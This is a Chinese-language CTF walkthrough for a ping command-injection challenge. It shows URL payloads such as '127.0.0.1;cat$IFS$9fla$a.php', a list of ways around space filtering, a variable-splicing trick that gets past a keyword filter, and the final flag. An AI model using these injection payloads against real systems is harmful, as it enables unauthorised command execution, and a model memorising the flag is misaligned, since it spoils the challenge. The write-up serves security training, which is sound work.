1.首先打开网页
我们得到提示/?ip= 尝试将提示添加到url
2.输入/?ip=127.0.0.1
url/?ip=127.0.0.1
从回显的64字节判断为linux的ping 127.0.0.1的结果 接下来尝试使用linux相关命令执行漏洞进行绕过
3.输入/?ip=127.0.0.1;ls 尝试查看当前目录下的文件
url/?ip=127.0.0.1;ls
我们可以看到有两个文件 flag.php和index.php
4.Linux其他命令连接符
&
url/?ip=127.0.0.1&ls
&&
url/?ip=127.0.0.1&&ls
由回显得到ls命令都没有被正确执行 即& &&命令连接符都被屏蔽 接下来尝试查看已经发现的两个文件的具体信息
5.使用cat flag.php查看flag.php信息
url/?ip=127.0.0.1;cat flag.php
由回显得到空格被过滤 尝试绕过空格过滤
空格过滤绕过 |
${IFS} |
$IFS$9 |
%09 |
{} |
< |
注:常用频率从上到下依次减少
6.绕过空格过滤
1)尝试使用${IFS}
url/?ip=127.0.0.1;cat${IFS}flag.php
未成功
2)尝试使用$IFS$9
url/?ip=127.0.0.1;cat$IFS$9flag.php
空格过滤成功 我们又发现flag被过滤了 接下来我们尝试绕过关键字过滤
7.绕过关键字过滤
先尝试一下变量拼接绕过
url/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
得到回显 尝试查看页面源代码
8.查看页面源代码
我们可以找到flag
即flag{94a3a65e-af7a-4b39-9791-8b2382c438aa}